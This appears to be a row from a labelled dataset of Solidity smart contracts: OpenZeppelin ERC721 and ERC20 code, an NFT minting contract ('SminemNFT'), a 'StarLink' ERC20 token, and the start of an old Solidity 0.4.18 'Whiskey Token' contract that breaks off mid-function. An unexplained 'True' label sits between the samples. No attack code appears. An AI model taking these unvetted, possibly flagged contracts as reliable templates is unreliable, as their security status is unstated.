* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: SminemNFT.sol
// By EvolveNFTs.com
pragma solidity >=0.7.0 <0.9.0;
contract SminemNFT is ERC721, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private supply;
string public uriPrefix = "";
string public uriSuffix = ".json";
string public hiddenMetadataUri;
uint256 public cost = 0.07 ether;
uint256 public maxSupply = 12288;
uint256 public maxMintAmountPerTx = 20;
uint256 public nftPerAddressLimit = 1;
bool public paused = true;
bool public revealed = false;
address[] public whitelistedAddresses;
mapping(address => uint256) public addressMintedBalance;
constructor() ERC721("Sminem NFT", "SMIN") {
setHiddenMetadataUri("ipfs://QmejWaXqUt69oshQ6rXVVweP7xWP4Ui2QFhLUTJZHws6c5/");
}
//ensures minting security
modifier mintCompliance(uint256 _mintAmount) {
require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!");
require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!");
_;
}
function totalSupply() public view returns (uint256) {
return supply.current();
}
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
require(!paused, "The contract is paused!");
require(msg.value >= cost * _mintAmount, "Insufficient funds!");
_mintLoop(msg.sender, _mintAmount);
}
function mintFromWhiteList(uint256 _mintAmount) public mintCompliance(_mintAmount) {
require(!paused, "contract is paused");
require(isWhitelisted(msg.sender), "User is not whitelisted");
uint256 ownerMintedCount = addressMintedBalance[msg.sender];
require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded");
for (uint256 i = 1; i <= _mintAmount; i++) {
addressMintedBalance[msg.sender]++;
}
_mintLoop(msg.sender, _mintAmount);
}
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
_mintLoop(_receiver, _mintAmount);
}
//returns an array of NFT owners wallets and amounts
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount);
uint256 currentTokenId = 1;
uint256 ownedTokenIndex = 0;
while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) {
address currentTokenOwner = ownerOf(currentTokenId);
if (currentTokenOwner == _owner) {
ownedTokenIds[ownedTokenIndex] = currentTokenId;
ownedTokenIndex++;
}
currentTokenId++;
}
return ownedTokenIds;
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(_tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if (revealed == false) {
return hiddenMetadataUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix))
: "";
}
//hide and unhide metadata
function setRevealed(bool _state) public onlyOwner {
revealed = _state;
}
//set cost of minting in wei
function setCost(uint256 _cost) public onlyOwner {
cost = _cost;
}
function setLimit(uint256 _nftPerAddressLimit) public onlyOwner {
nftPerAddressLimit = _nftPerAddressLimit;
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
maxMintAmountPerTx = _maxMintAmountPerTx;
}
//takes a string updates metadata
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
hiddenMetadataUri = _hiddenMetadataUri;
}
//updates the metadata used before reveal
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
uriPrefix = _uriPrefix;
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
uriSuffix = _uriSuffix;
}
function setPaused(bool _state) public onlyOwner {
paused = _state;
}
function _mintLoop(address _receiver, uint256 _mintAmount) internal {
for (uint256 i = 0; i < _mintAmount; i++) {
supply.increment();
_safeMint(_receiver, supply.current());
}
}
//checks if a message sender is whitelisted
function isWhitelisted(address _user) public view returns (bool) {
for (uint i = 0; i < whitelistedAddresses.length; i++) {
if (whitelistedAddresses[i] == _user) {
return true;
}
}
return false;
}
//whitelist a users if they won a giveaway
function whiteListUsers(address[] calldata _users) public onlyOwner(){
delete whitelistedAddresses;
whitelistedAddresses = _users;
}
function _baseURI() internal view virtual override returns (string memory) {
return uriPrefix;
}
function withdraw() external onlyOwner {
address[4] memory addresses = [
0x6E9075da365BE17041e704A16d39652a7a54b862,
0x3577ee30ef3e818FA07b25ac5F3A6Ff9cea1Fc3D,
0xff39c27b5eAC4a31636ae4Bb2be121f2CD96b2a4,
0xAc84e43AafDBc3b35C529bcB83492faA8d8083aC
];
uint32[4] memory shares = [
uint32(1150),
uint32(200),
uint32(650),
uint32(8000)
];
uint256 balance = address(this).balance;
for (uint32 i = 0; i < addresses.length; i++) {
uint256 amount = i == addresses.length - 1 ? address(this).balance : balance * shares[i] / 10000;
payable(addresses[i]).transfer(amount);
}
}
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// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/token/ERC20/behaviours/ERC20Decimals.sol
pragma solidity ^0.8.0;
/**
* @title ERC20Decimals
* @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot.
*/
contract StarLink is ERC20 {
uint8 immutable private _decimals = 18;
uint256 private _totalSupply = 10000000000000 * 10 ** 18;
/**
* @dev Sets the value of the `decimals`. This value is immutable, it can only be
* set once during construction.
*/
constructor () ERC20('StarLink', 'STARL') {
_mint(_msgSender(), _totalSupply);
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
} | True | [
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|
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'WSKY' 'Whiskey Token' token contract
//
// Symbol : WSKY
// Name : Whiskey Token
// Total supply: 9,600,000.000000
// Decimals : 6
//
// (c) BokkyPooBah / Bok Consulting Pty Ltd 2017. The MIT Licence.
// (c) Anlide / DDI Development 2018.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// WSKY - token
// ----------------------------------------------------------------------------
contract WSKYToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function WSKYToken() public {
symbol = "WSKY";
name = "Whiskey Token";
decimals = 6;
_totalSupply = 9600000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
